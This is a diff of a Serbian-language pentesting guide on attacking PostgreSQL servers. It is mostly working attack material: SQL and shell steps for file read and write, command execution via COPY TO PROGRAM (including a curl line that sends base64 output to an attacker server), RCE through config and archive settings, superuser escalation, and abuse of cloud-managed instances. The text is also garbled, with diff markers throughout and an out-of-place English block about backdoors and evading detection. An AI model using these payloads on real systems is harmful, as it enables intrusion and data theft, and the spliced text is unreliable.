* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga raznovrsnim izborom za programere i organizacije.
|
||||
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije.
|
||||
|
||||
**Podrazumevani port:** 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.
|
||||
```
|
||||
|
@ -81,7 +81,7 @@ Za više informacija o **zloupotrebi PostgreSQL baze podataka** pogledajte:
|
|||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Automatsko nabrajanje
|
||||
## Automatsko Nabrojavanje
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_version
|
||||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
|
@ -101,7 +101,7 @@ connect_timeout=10');
|
|||
```
|
||||
* Host je nedostupan
|
||||
|
||||
`DETALJNO: nije moguće povezati se na server: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?`
|
||||
`DETALJNO: nije moguće povezivanje na server: Nema rute do hosta. Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?`
|
||||
|
||||
* Port je zatvoren
|
||||
```
|
||||
|
@ -113,7 +113,23 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
ili
|
||||
## Pentesting PostgreSQL
|
||||
|
||||
### PostgreSQL Enumeration
|
||||
|
||||
During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system. You can also use tools like `pgcli` or `psql` to connect to the PostgreSQL database and gather information about users, databases, and privileges.
|
||||
|
||||
### PostgreSQL Exploitation
|
||||
|
||||
Once you have gathered enough information during the enumeration phase, you can proceed with exploiting vulnerabilities in the PostgreSQL service. Common exploitation techniques include SQL injection, privilege escalation, and brute force attacks against weak credentials.
|
||||
|
||||
### PostgreSQL Post-Exploitation
|
||||
|
||||
After successfully exploiting a PostgreSQL service, you can perform post-exploitation activities such as dumping the database, creating backdoors, or escalating your privileges within the system. It is crucial to maintain access to the system without being detected.
|
||||
|
||||
### PostgreSQL Security Recommendations
|
||||
|
||||
To secure a PostgreSQL database, you should regularly update the software to patch known vulnerabilities. Additionally, you should follow security best practices such as using strong passwords, limiting access to the database, and monitoring for any suspicious activities.
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -122,21 +138,23 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je diskutovano u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
|
||||
|
||||
## Enumeracija privilegija
|
||||
|
||||
### Uloge
|
||||
|
||||
| Tipovi uloga | |
|
||||
| Vrste uloga | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Uloga ima privilegije superkorisnika |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga članova |
|
||||
| rolcreaterole | Uloga može kreirati druge uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolsuper | Uloga ima privilegije superkorisnika |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
|
||||
| rolcreaterole | Uloga može kreirati druge uloge |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije |
|
||||
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i odbaciti slote za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
||||
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. |
|
||||
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači da nema ograničenja. |
|
||||
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
||||
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
|
||||
| rolconfig | Podrazumevane vrednosti za konfiguracione promenljive za izvršavanje u vreme izvršavanja |
|
||||
| oid | ID uloge |
|
||||
|
@ -246,7 +264,7 @@ GRANT pg_read_server_files TO username;
|
|||
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti:
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Mogu ih koristiti samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama**:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -275,8 +293,6 @@ Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/
|
|||
### Jednostavno pisanje datoteka
|
||||
|
||||
Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti kopiranje za pisanje datoteka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||||
```
|
||||
|
@ -287,40 +303,52 @@ Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, može
|
|||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
### **Postavljanje binarnih datoteka**
|
||||
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Međutim, postoje **druge tehnike za postavljanje velikih binarnih datoteka:**
|
||||
Zapamtite da **COPY ne može rukovati znakovima nove linije**, stoga čak i ako koristite base64 payload, **morate poslati jednolinijski**.\
|
||||
Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.**
|
||||
|
||||
### **Uploadovanje binarnih fajlova**
|
||||
|
||||
Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja datoteka
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
Ako imate potrebne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezanu fajl-nod** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
**Savet za bug bounty**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
Neophodni koraci:
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
1. Dobijanje direktorijuma podataka PostgreSQL-a
|
||||
### Ažuriranje podataka tabele PostgreSQL-a putem lokalnog pisanja fajlova
|
||||
|
||||
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL-a, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvora** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Potrebni koraci:
|
||||
|
||||
1. Dobijanje direktorijuma podataka PostgreSQL-a
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često korišćeno ime klastera je `main`.
|
||||
2. Dobijanje relativne putanje do fajl-noda, povezanog sa ciljnom tabelom
|
||||
2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{IME_TABELE}')
|
||||
```
|
||||
|
||||
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Preuzimanje fajl-noda kroz funkcije `lo_*`
|
||||
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku biće `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
|
||||
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -341,33 +369,33 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{IME_TABELE}';
|
||||
```
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) za [uređivanje fajl-noda](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvora](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}
|
||||
```
|
||||
|
||||
![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Ponovo otpremite uređeni fajl-nod putem funkcija `lo_*`, i prepisujte originalni fajl na disku
|
||||
![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
|
||||
6. Ponovo otpremite uređeni fajl čvora putem funkcija `lo_*`, i prepisujte originalni fajl na disku
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
8. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
|
||||
|
||||
Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeći odeljak**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeću sekciju**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
## RCE
|
||||
|
||||
### **RCE do programa**
|
||||
|
||||
Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti kopiranje za RCE (primer sa eksfiltracijom:
|
||||
Od [verzije 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
@ -393,7 +421,7 @@ GRANT pg_execute_server_program TO username;
|
|||
{% endhint %}
|
||||
|
||||
Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo [funkcionalnost i da neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je proglasio da je ovo [funkcionalnost i neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE sa PostgreSQL jezicima
|
||||
|
||||
|
@ -412,10 +440,10 @@ Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**
|
|||
### RCE sa konfiguracionom datotekom PostgreSQL-a
|
||||
|
||||
{% hint style="info" %}
|
||||
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava
|
||||
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti kroz ugniježđene SELECT naredbe
|
||||
{% endhint %}
|
||||
|
||||
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
||||
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik**, možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -433,7 +461,7 @@ Zatim, napadač će morati:
|
|||
|
||||
1. **Izvući privatni ključ** sa servera
|
||||
2. **Šifrovati** preuzeti privatni ključ:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
1. `rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepisati**
|
||||
4. **Izvući** trenutnu postgresql **konfiguraciju**
|
||||
5. **Prepisati** **konfiguraciju** sa pomenutim atributima konfiguracije:
|
||||
|
@ -441,7 +469,7 @@ Zatim, napadač će morati:
|
|||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Izvršiti `pg_reload_conf()`
|
||||
|
||||
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da se nalazi u _/var/lib/postgresql/12/main_.
|
||||
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE sa archive\_command**
|
||||
|
||||
|
@ -458,7 +486,7 @@ Opšti koraci su:
|
|||
3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
||||
|
||||
#### **RCE sa preload bibliotekama**
|
||||
#### **RCE sa bibliotekama za učitavanje pri pokretanju**
|
||||
|
||||
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
|
@ -529,11 +557,11 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
|
||||
### **Postgres Privesc**
|
||||
|
||||
#### **Dodeljivanje**
|
||||
#### **Grant**
|
||||
|
||||
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._
|
||||
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam omogućava čitanje i pisanje datoteka i izvršavanje komandi:
|
||||
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam može omogućiti čitanje i pisanje datoteka i izvršavanje komandi:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -551,7 +579,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
|
|||
```
|
||||
#### Privesc to SUPERUSER
|
||||
|
||||
Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
||||
Često je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -571,9 +599,9 @@ U [**ovom objašnjenju**](https://www.wiz.io/blog/the-cloud-has-an-isolation-pro
|
|||
|
||||
Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi da dobijete **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP-u:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Povezujući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
Povezujući ovu ideju sa činjenicom da kada se izvrše komande **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dodeliti vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim pokrenuti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -582,12 +610,12 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
#### Eksploatacija
|
||||
|
||||
1. Počnite kreiranjem nove tabele.
|
||||
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
|
||||
3. Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
|
||||
5. Izvršite operaciju ANALYZE na tabeli. Ova akcija prisiljava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
||||
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
|
||||
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. Izmijenite vlasnika tabele u "cloudsqladmin", što je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
|
||||
5. Izvršite ANALYZE operaciju na tabeli. Ova akcija nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin". Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin", omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
||||
|
||||
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
|
||||
U PostgreSQL-u, ovaj tok izgleda nešto ovako:
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -633,7 +661,7 @@ CREATE EXTENSION dblink;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljnog IP, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
@ -647,7 +675,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Prilagođena definisana funkcija sa** SECURITY DEFINER
|
||||
|
||||
[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da postanu superkorisnici unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER zastavicom**:
|
||||
[U ovom objašnjenju](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da postanu superkorisnici unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -668,22 +696,22 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **povećanje privilegija unutar postgresa**.
|
||||
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **povećanje privilegija unutar postgres-a**.
|
||||
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**.
|
||||
Na liniji 4 prethodnog koda možete videti da funkcija ima oznaku **SECURITY DEFINER**.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
### Izvršite komande:
|
||||
I zatim **izvršite komande**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Provalite BruteForce sa PL/pgSQL
|
||||
### Prođite BruteForce sa PL/pgSQL
|
||||
|
||||
**PL/pgSQL** je **potpuno opremljen programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da provalite korisničke podatke.**
|
||||
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
|
@ -692,23 +720,23 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
### Povećanje privilegija pisanjem preko internih PostgreSQL tabela
|
||||
|
||||
{% hint style="info" %}
|
||||
Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe.
|
||||
Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe
|
||||
{% endhint %}
|
||||
|
||||
Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL fajlnoda na disku, koji je povezan sa internom tabelom `pg_authid`.
|
||||
Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom `pg_authid`.
|
||||
|
||||
Pročitajte više o **ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
